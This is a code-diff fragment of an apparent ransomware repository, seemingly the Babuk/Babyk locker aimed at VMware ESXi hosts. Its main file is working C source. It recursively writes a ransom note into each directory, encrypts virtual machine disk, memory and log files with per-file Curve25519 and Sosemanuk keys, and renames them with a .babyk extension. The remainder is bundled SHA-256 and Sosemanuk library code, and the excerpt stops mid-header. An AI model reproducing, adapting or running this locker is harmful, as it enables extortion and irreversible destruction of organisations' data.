"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
;
|
||||
|
||||
#define CONST_1MB 1048576ll
|
||||
#define CONST_BLOCK (CONST_1MB * 10)
|
||||
|
||||
void csprng(uint8_t* buffer, int count) {
|
||||
if (FILE *fp = fopen("/dev/urandom", "r"))
|
||||
{
|
||||
fread(buffer, 1, count, fp);
|
||||
fclose(fp);
|
||||
}
|
||||
}
|
||||
|
||||
int files_all = 0;
|
||||
int files_encrypted = 0;
|
||||
int files_skipped = 0;
|
||||
uint64_t gb_encrypted = 0;
|
||||
|
||||
threadpool thpool;
|
||||
|
||||
#define DIM(x) (sizeof(x)/sizeof(*(x)))
|
||||
|
||||
static const char *sizes[] = { "EiB", "PiB", "TiB", "GiB", "MiB", "KiB", "B" };
|
||||
static const uint64_t exbibytes = 1024ULL * 1024ULL * 1024ULL *
|
||||
1024ULL * 1024ULL * 1024ULL;
|
||||
|
||||
char* calculateSize(uint64_t size)
|
||||
{
|
||||
char *result = (char *) malloc(sizeof(char) * 20);
|
||||
uint64_t multiplier = exbibytes;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < DIM(sizes); i++, multiplier /= 1024)
|
||||
{
|
||||
if (size < multiplier)
|
||||
continue;
|
||||
if (size % multiplier == 0)
|
||||
sprintf(result, "%llu %s", size / multiplier, sizes[i]);
|
||||
else
|
||||
sprintf(result, "%.1f %s", (float) size / multiplier, sizes[i]);
|
||||
return result;
|
||||
}
|
||||
strcpy(result, "0");
|
||||
return result;
|
||||
}
|
||||
|
||||
struct BABUK_KEYS {
|
||||
uint8_t hc256_key[32];
|
||||
uint8_t hc256_vec[32];
|
||||
};
|
||||
|
||||
void encrypt_file(void* arg) {
|
||||
char* path = (char*)arg;
|
||||
|
||||
uint32_t wholeReaded = 0;
|
||||
size_t readed = 0;
|
||||
|
||||
uint8_t u_publ[32];
|
||||
uint8_t u_priv[32];
|
||||
uint8_t u_secr[32];
|
||||
uint8_t sm_key[32];
|
||||
struct stat64 fstat;
|
||||
|
||||
sha256_context sc;
|
||||
sosemanuk_key_context kc;
|
||||
sosemanuk_run_context rc;
|
||||
|
||||
if(stat64(path, &fstat) == 0){
|
||||
if (FILE *fp = fopen(path, "r+b")) {
|
||||
if(uint8_t* f_data = (uint8_t*)malloc(CONST_BLOCK)) {
|
||||
csprng(u_priv, 32);
|
||||
u_priv[0] &= 248;
|
||||
u_priv[31] &= 127;
|
||||
u_priv[31] |= 64;
|
||||
curve25519_donna(u_publ, u_priv, basepoint);
|
||||
curve25519_donna(u_secr, u_priv, m_publ);
|
||||
memset(u_priv, 0, 32);
|
||||
|
||||
sha256_init(&sc);
|
||||
sha256_hash(&sc, u_secr, 32);
|
||||
sha256_done(&sc, sm_key);
|
||||
memset((uint8_t*)&sc, 0, sizeof(sha256_context));
|
||||
|
||||
sosemanuk_schedule(&kc, sm_key, 32);
|
||||
sosemanuk_init(&rc, &kc, 0, 0);
|
||||
|
||||
memset(sm_key, 0, 32);
|
||||
do {
|
||||
wholeReaded += readed = fread(f_data, 1, CONST_BLOCK, fp);
|
||||
if(readed) {
|
||||
sosemanuk_encrypt(&rc, f_data, f_data, readed);
|
||||
fseek(fp, -readed, SEEK_CUR);
|
||||
size_t w = fwrite(f_data, 1, readed, fp);
|
||||
} else break;
|
||||
} while(wholeReaded < 0x20000000 && wholeReaded < fstat.st_size);
|
||||
memset((uint8_t*)&kc, 0, sizeof(sosemanuk_key_context));
|
||||
memset((uint8_t*)&rc, 0, sizeof(sosemanuk_run_context));
|
||||
__sync_add_and_fetch(&gb_encrypted, fstat.st_size);
|
||||
|
||||
fseek(fp, 0, SEEK_END);
|
||||
fwrite(u_publ, 1, 32, fp);
|
||||
|
||||
files_encrypted++;
|
||||
|
||||
free(f_data);
|
||||
}
|
||||
fflush(fp);
|
||||
fclose(fp);
|
||||
|
||||
char locked_name[4097];
|
||||
strcpy(locked_name, path);
|
||||
strcat(locked_name, ".babyk");
|
||||
rename(path, locked_name);
|
||||
}
|
||||
}
|
||||
|
||||
free(arg);
|
||||
}
|
||||
|
||||
void find_files_recursive(char* begin) {
|
||||
if(char* path = (char*)malloc(4097)) {
|
||||
strcpy(path, begin);
|
||||
strcat(path, "/How To Restore Your Files.txt");
|
||||
if (FILE *fp = fopen(path, "w"))
|
||||
{
|
||||
fwrite(ransom_note, 1, sizeof(ransom_note), fp);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
strcpy(path, begin);
|
||||
if (DIR* entry = opendir(path)) {
|
||||
dirent* record = 0;
|
||||
while ((record = readdir(entry)) != NULL) {
|
||||
if(strcmp(record->d_name, "..") != 0 && strcmp(record->d_name, ".") != 0) {
|
||||
if(record->d_type == DT_DIR) {
|
||||
strcpy(path, begin);
|
||||
strcat(path, "/");
|
||||
strcat(path, record->d_name);
|
||||
find_files_recursive(path);
|
||||
} else if(record->d_type == DT_REG) {
|
||||
if(strstr(record->d_name, ".babyk") == 0) {
|
||||
if(
|
||||
strstr(record->d_name, ".log") != 0 ||
|
||||
strstr(record->d_name, ".vmdk") != 0 ||
|
||||
strstr(record->d_name, ".vmem") != 0 ||
|
||||
strstr(record->d_name, ".vswp") != 0 ||
|
||||
strstr(record->d_name, ".vmsn") != 0
|
||||
){
|
||||
files_all++;
|
||||
strcpy(path, begin);
|
||||
strcat(path, "/");
|
||||
strcat(path, record->d_name);
|
||||
|
||||
char* reinitialized_arg = (char*)malloc(strlen(path) + 1);
|
||||
strcpy(reinitialized_arg, path);
|
||||
|
||||
printf("Encrypting: %s\n", reinitialized_arg);
|
||||
thpool_add_work(thpool, encrypt_file, (void*)reinitialized_arg);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
files_all++;
|
||||
files_skipped++;
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(entry);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
if(argc == 2) {
|
||||
thpool = thpool_init(sysconf(_SC_NPROCESSORS_ONLN) * 2);
|
||||
printf("\n");
|
||||
|
||||
find_files_recursive(argv[1]);
|
||||
thpool_wait(thpool);
|
||||
thpool_destroy(thpool);
|
||||
|
||||
printf("\n");
|
||||
printf("Statistic:\n");
|
||||
printf("------------------\n");
|
||||
printf("Doesn't encrypted files: %d\n", (files_all - files_encrypted) - files_skipped);
|
||||
printf("Encrypted files: %d\n", files_encrypted);
|
||||
printf("Skipped files: %d\n", files_skipped);
|
||||
printf("Whole files count: %d\n", files_all);
|
||||
printf("Crypted: %s\n", calculateSize(gb_encrypted));
|
||||
printf("------------------\n");
|
||||
printf("\n");
|
||||
} else {
|
||||
printf("Usage: %s /path/to/be/encrypted\n", argv[0]);
|
||||
}
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,245 @@
|
|||
/*
|
||||
* SHA-256 implementation.
|
||||
*
|
||||
* Copyright (c) 2010 Ilya O. Levin, http://www.literatecode.com
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
#define SWAP_BYTES
|
||||
// #define USE_STD_MEMCPY
|
||||
// #define SELF_TEST
|
||||
|
||||
#ifdef USE_STD_MEMCPY
|
||||
#include <string.h>
|
||||
#endif
|
||||
#include "sha256.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define RL(x,n) (((x) << n) | ((x) >> (32 - n)))
|
||||
#define RR(x,n) (((x) >> n) | ((x) << (32 - n)))
|
||||
|
||||
#define S0(x) (RR((x), 2) ^ RR((x),13) ^ RR((x),22))
|
||||
#define S1(x) (RR((x), 6) ^ RR((x),11) ^ RR((x),25))
|
||||
#define G0(x) (RR((x), 7) ^ RR((x),18) ^ ((x) >> 3))
|
||||
#define G1(x) (RR((x),17) ^ RR((x),19) ^ ((x) >> 10))
|
||||
|
||||
#ifdef SWAP_BYTES
|
||||
#define BSWP(x,y) _bswapw((uint32_t *)(x), (uint32_t)(y))
|
||||
#else
|
||||
#define BSWP(p,n)
|
||||
#endif
|
||||
#ifdef USE_STD_MEMCPY
|
||||
#define MEMCP(x,y,z) memcpy((x),(y),(z))
|
||||
#else
|
||||
#define MEMCP(x,y,z) _memcp((x),(y),(z))
|
||||
#endif
|
||||
|
||||
#ifndef __cdecl
|
||||
#define __cdecl
|
||||
#endif
|
||||
|
||||
static const uint32_t K[64] = {
|
||||
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
|
||||
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
|
||||
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
|
||||
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
|
||||
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
|
||||
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
|
||||
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
|
||||
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
|
||||
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
|
||||
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
|
||||
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
|
||||
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
|
||||
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
|
||||
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
|
||||
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
|
||||
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
|
||||
};
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
static void _bswapw(uint32_t *p, uint32_t i)
|
||||
{
|
||||
while (i--) p[i] = (RR(p[i],24) & 0x00ff00ff) | (RR(p[i],8) & 0xff00ff00);
|
||||
|
||||
} /* _bswapw */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
#ifndef USE_STD_MEMCPY
|
||||
void * __cdecl _memcp (void *d, const void *s, uint32_t sz)
|
||||
{
|
||||
void *rv = d;
|
||||
|
||||
while (sz--) *(char *)d = *(char *)s, d = (char *)d + 1, s = (char *)s + 1;
|
||||
|
||||
return(rv);
|
||||
} /* _memcp */
|
||||
#endif
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
static void _rtrf(uint32_t *b, uint32_t *p, uint32_t i, uint32_t j)
|
||||
{
|
||||
#define B(x, y) b[(x-y) & 7]
|
||||
#define P(x, y) p[(x+y) & 15]
|
||||
|
||||
B(7,i) += (j ? (p[i & 15] += G1(P(i,14)) + P(i,9) + G0(P(i,1))) : p[i & 15])
|
||||
+ K[i+j] + S1(B(4,i))
|
||||
+ (B(6,i) ^ (B(4,i) & (B(5,i) ^ B(6,i))));
|
||||
B(3,i) += B(7,i);
|
||||
B(7,i) += S0(B(0,i)) + ( (B(0,i) & B(1,i)) | (B(2,i) & (B(0,i) ^ B(1,i))) );
|
||||
|
||||
#undef P
|
||||
#undef B
|
||||
} /* _rtrf */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
static void _hash(sha256_context *ctx)
|
||||
{
|
||||
uint32_t b[8], *p, j;
|
||||
|
||||
b[0] = ctx->hash[0]; b[1] = ctx->hash[1]; b[2] = ctx->hash[2];
|
||||
b[3] = ctx->hash[3]; b[4] = ctx->hash[4]; b[5] = ctx->hash[5];
|
||||
b[6] = ctx->hash[6]; b[7] = ctx->hash[7];
|
||||
|
||||
for (p = ctx->buf, j = 0; j < 64; j += 16)
|
||||
_rtrf(b, p, 0, j), _rtrf(b, p, 1, j), _rtrf(b, p, 2, j),
|
||||
_rtrf(b, p, 3, j), _rtrf(b, p, 4, j), _rtrf(b, p, 5, j),
|
||||
_rtrf(b, p, 6, j), _rtrf(b, p, 7, j), _rtrf(b, p, 8, j),
|
||||
_rtrf(b, p, 9, j), _rtrf(b, p, 10, j), _rtrf(b, p, 11, j),
|
||||
_rtrf(b, p, 12, j), _rtrf(b, p, 13, j), _rtrf(b, p, 14, j),
|
||||
_rtrf(b, p, 15, j);
|
||||
|
||||
ctx->hash[0] += b[0]; ctx->hash[1] += b[1]; ctx->hash[2] += b[2];
|
||||
ctx->hash[3] += b[3]; ctx->hash[4] += b[4]; ctx->hash[5] += b[5];
|
||||
ctx->hash[6] += b[6]; ctx->hash[7] += b[7];
|
||||
|
||||
} /* _hash */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
void sha256_init(sha256_context *ctx)
|
||||
{
|
||||
ctx->len[0] = ctx->len[1] = 0;
|
||||
ctx->hash[0] = 0x6a09e667; ctx->hash[1] = 0xbb67ae85;
|
||||
ctx->hash[2] = 0x3c6ef372; ctx->hash[3] = 0xa54ff53a;
|
||||
ctx->hash[4] = 0x510e527f; ctx->hash[5] = 0x9b05688c;
|
||||
ctx->hash[6] = 0x1f83d9ab; ctx->hash[7] = 0x5be0cd19;
|
||||
|
||||
} /* sha256_init */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
void sha256_hash(sha256_context *ctx, uint8_t *dat, uint32_t sz)
|
||||
{
|
||||
register uint32_t i = ctx->len[0] & 63, l, j;
|
||||
|
||||
if ((ctx->len[0] += sz) < sz) ++(ctx->len[1]);
|
||||
|
||||
for (j = 0, l = 64-i; sz >= l; j += l, sz -= l, l = 64, i = 0)
|
||||
{
|
||||
MEMCP((char *)ctx->buf + i, &dat[j], l);
|
||||
BSWP(ctx->buf, 16 );
|
||||
_hash(ctx);
|
||||
}
|
||||
MEMCP((char *)ctx->buf + i, &dat[j], sz);
|
||||
|
||||
} /* _hash */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
void sha256_done(sha256_context *ctx, uint8_t *buf)
|
||||
{
|
||||
uint32_t i = (uint32_t)(ctx->len[0] & 63), j = ((~i) & 3) << 3;
|
||||
|
||||
BSWP(ctx->buf, (i + 3) >> 2);
|
||||
|
||||
ctx->buf[i >> 2] &= 0xffffff80 << j; /* add padding */
|
||||
ctx->buf[i >> 2] |= 0x00000080 << j;
|
||||
|
||||
if (i < 56) i = (i >> 2) + 1;
|
||||
else ctx->buf[15] ^= (i < 60) ? ctx->buf[15] : 0, _hash(ctx), i = 0;
|
||||
|
||||
while (i < 14) ctx->buf[i++] = 0;
|
||||
|
||||
ctx->buf[14] = (ctx->len[1] << 3)|(ctx->len[0] >> 29); /* add length */
|
||||
ctx->buf[15] = ctx->len[0] << 3;
|
||||
|
||||
_hash(ctx);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
ctx->buf[i % 16] = 0, /* may remove this line in case of a DIY cleanup */
|
||||
buf[i] = (uint8_t)(ctx->hash[i >> 2] >> ((~i & 3) << 3));
|
||||
|
||||
} /* sha256_done */
|
||||
|
||||
|
||||
#ifdef SELF_TEST
|
||||
#pragma warning (push, 0)
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#pragma warning(pop)
|
||||
|
||||
char *buf[] = {
|
||||
"",
|
||||
"e3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b934c a495991b 7852b855",
|
||||
|
||||
"abc",
|
||||
"ba7816bf 8f01cfea 414140de 5dae2223 b00361a3 96177a9c b410ff61 f20015ad",
|
||||
|
||||
"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq",
|
||||
"248d6a61 d20638b8 e5c02693 0c3e6039 a33ce459 64ff2167 f6ecedd4 19db06c1",
|
||||
|
||||
"The quick brown fox jumps over the lazy dog",
|
||||
"d7a8fbb3 07d78094 69ca9abc b0082e4f 8d5651e4 6d3cdb76 2d02d0bf 37c9e592",
|
||||
|
||||
"The quick brown fox jumps over the lazy cog", /* avalanche effect test */
|
||||
"e4c4d8f3 bf76b692 de791a17 3e053211 50f7a345 b46484fe 427f6acc 7ecc81be",
|
||||
|
||||
"bhn5bjmoniertqea40wro2upyflkydsibsk8ylkmgbvwi420t44cq034eou1szc1k0mk46oeb7ktzmlxqkbte2sy",
|
||||
"9085df2f 02e0cc45 5928d0f5 1b27b4bf 1d9cd260 a66ed1fd a11b0a3f f5756d99"
|
||||
};
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
sha256_context ctx;
|
||||
uint8_t hv[32];
|
||||
uint32_t i, j;
|
||||
|
||||
for (j = 0; j < (sizeof(buf)/sizeof(buf[0])); j += 2)
|
||||
{
|
||||
sha256_init(&ctx);
|
||||
sha256_hash(&ctx, (uint8_t *)buf[j], (uint32_t)strlen(buf[j]));
|
||||
sha256_done(&ctx, hv);
|
||||
printf("input = %s\ndigest: %s\nresult: ", buf[j], buf[j+1]);
|
||||
for (i = 0; i < 32; i++) printf("%02x%s", hv[i], ((i%4)==3)?" ":"");
|
||||
printf("\n\n");
|
||||
}
|
||||
|
||||
for (j = 1; j < (uint32_t)argc; j++)
|
||||
{
|
||||
printf("argv[%d]: %s\nresult: ", (int)j, argv[j]);
|
||||
sha256_init(&ctx);
|
||||
sha256_hash(&ctx, (uint8_t *)argv[j], (uint32_t)strlen(argv[j]));
|
||||
sha256_done(&ctx, hv);
|
||||
for (i = 0; i < 32; i++) printf("%02x%s", hv[i], ((i%4)==3)?" ":"");
|
||||
printf("\n\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
} /* main */
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,50 @@
|
|||
/*
|
||||
* SHA-256 implementation.
|
||||
*
|
||||
* Copyright (c) 2010 Ilya O. Levin, http://www.literatecode.com
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
#ifdef _MSC_VER
|
||||
#ifndef uint8_t
|
||||
typedef unsigned __int8 uint8_t;
|
||||
#endif
|
||||
#ifndef uint32_t
|
||||
typedef unsigned __int32 uint32_t;
|
||||
#endif
|
||||
#ifndef uint64_t
|
||||
typedef __int64 int64_t;
|
||||
typedef unsigned __int64 uint64_t;
|
||||
#endif
|
||||
#else
|
||||
#include <stdint.h>
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C"
|
||||
{
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
uint32_t buf[16];
|
||||
uint32_t hash[8];
|
||||
uint32_t len[2];
|
||||
} sha256_context;
|
||||
|
||||
void sha256_init(sha256_context *);
|
||||
void sha256_hash(sha256_context *, uint8_t * /* data */, uint32_t /* len */);
|
||||
void sha256_done(sha256_context *, uint8_t * /* hash */);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,175 @@
|
|||
/*
|
||||
* SOSEMANUK reference API.
|
||||
*
|
||||
* This file documents the reference implementation API. If the
|
||||
* macro SOSEMANUK_ECRYPT is defined, the API follows the ECRYPT
|
||||
* conventions (types, function names...) and uses the ECRYPT files;
|
||||
* otherwise, a simpler API is used.
|
||||
*
|
||||
* (c) 2005 X-CRYPT project. This software is provided 'as-is', without
|
||||
* any express or implied warranty. In no event will the authors be held
|
||||
* liable for any damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any purpose,
|
||||
* including commercial applications, and to alter it and redistribute it
|
||||
* freely, subject to no restriction.
|
||||
*
|
||||
* Technical remarks and questions can be addressed to
|
||||
* <thomas.pornin@cryptolog.com>
|
||||
*/
|
||||
|
||||
#ifndef SOSEMANUK_H__
|
||||
#define SOSEMANUK_H__
|
||||
|
||||
/*
|
||||
* This macro enables the ECRYPT API, and disables the local API.
|
||||
* It is defined by default, for ECRYPT processing.
|
||||
*/
|
||||
|
||||
#ifdef SOSEMANUK_ECRYPT
|
||||
|
||||
#include "ecrypt-sync.h"
|
||||
|
||||
#else
|
||||
|
||||
#include <limits.h>
|
||||
|
||||
/*
|
||||
* Input/Output is defined in terms of octets, but C provides only
|
||||
* the C notion of "byte". We require that C bytes are actually octets.
|
||||
*/
|
||||
#if CHAR_BIT != 8
|
||||
#error We need 8-bit bytes
|
||||
#endif
|
||||
|
||||
/*
|
||||
* We want an unsigned integer type with at least (and possibly exactly)
|
||||
* 32 bits. Such a type implements arithmetics modulo 2^n for a value
|
||||
* n greater than or equal to 32. The type is named "unum32".
|
||||
*
|
||||
* Note: we try to use C99 features such as <stdint.h>. This may prove
|
||||
* problematic on architectures which claim C99 conformance, but fail
|
||||
* to actually conform. If necessary, define the macro BROKEN_C99 to
|
||||
* fall back to C90, whatever the environment claims:
|
||||
#define BROKEN_C99 1
|
||||
*/
|
||||
|
||||
#if !defined BROKEN_C99 && defined __STDC__ && __STDC_VERSION__ >= 199901L
|
||||
|
||||
/*
|
||||
* C99 implementation. We use "uint_least32_t" which has the required
|
||||
* semantics.
|
||||
*/
|
||||
#include <stdint.h>
|
||||
typedef uint_least32_t unum32;
|
||||
|
||||
#else
|
||||
|
||||
/*
|
||||
* Pre-C99 implementation. "unsigned long" is guaranteed to be wide
|
||||
* enough, but we want to use "unsigned int" if possible (especially
|
||||
* for 64-bit architectures).
|
||||
*/
|
||||
#if UINT_MAX >= 0xFFFFFFFF
|
||||
typedef unsigned int unum32;
|
||||
#else
|
||||
typedef unsigned long unum32;
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* We want (and sometimes need) to perform explicit truncations to 32 bits.
|
||||
*/
|
||||
#define ONE32 ((unum32)0xFFFFFFFF)
|
||||
#define T32(x) ((x) & ONE32)
|
||||
|
||||
/*
|
||||
* Some of our functions will be tagged as "inline" to help the compiler
|
||||
* optimize things. We use "inline" only if the compiler is advanced
|
||||
* enough to understand it; C99 compilers, and pre-C99 versions of gcc,
|
||||
* understand enough "inline" for our purposes.
|
||||
*/
|
||||
#if (!defined BROKEN_C99 && defined __STDC__ && __STDC_VERSION__ >= 199901L) \
|
||||
|| defined __GNUC__
|
||||
#define INLINE inline
|
||||
#else
|
||||
#define INLINE
|
||||
#endif
|
||||
|
||||
/*
|
||||
* API description:
|
||||
*
|
||||
* The SOSEMANUK algorithm works with a secret key and an initial value (IV).
|
||||
* Two context structures are used:
|
||||
*
|
||||
* -- "sosemanuk_key_context" holds the processed secret key. The contents
|
||||
* of this structure depends only on the key, not the IV.
|
||||
*
|
||||
* -- "sosemanuk_run_context" holds the current cipher internal state. This
|
||||
* structure is initialized using the "sosemanuk_key_context" structure, and
|
||||
* the IV; it is updated each time some output is produced.
|
||||
*
|
||||
* Both structures may be allocated as local variables. There is no
|
||||
* other external allocation (using malloc() or any similar function).
|
||||
* There is no global state; hence, this code is thread-safe and
|
||||
* reentrant.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
/*
|
||||
* Sub-keys for Serpent24.
|
||||
*/
|
||||
unum32 sk[100];
|
||||
} sosemanuk_key_context;
|
||||
|
||||
typedef struct {
|
||||
/*
|
||||
* Internal cipher state.
|
||||
*/
|
||||
unum32 s00, s01, s02, s03, s04, s05, s06, s07, s08, s09;
|
||||
unum32 r1, r2;
|
||||
|
||||
/*
|
||||
* Buffering: the stream cipher produces output data by
|
||||
* blocks of 640 bits. buf[] contains such a block, and
|
||||
* "ptr" is the index of the next output byte.
|
||||
*/
|
||||
unsigned char buf[80];
|
||||
unsigned ptr;
|
||||
} sosemanuk_run_context;
|
||||
|
||||
/*
|
||||
* Key schedule: initialize the key context structure with the provided
|
||||
* secret key. The secret key is an array of 1 to 32 bytes.
|
||||
*/
|
||||
void sosemanuk_schedule(sosemanuk_key_context *kc,
|
||||
unsigned char *key, size_t key_len);
|
||||
|
||||
/*
|
||||
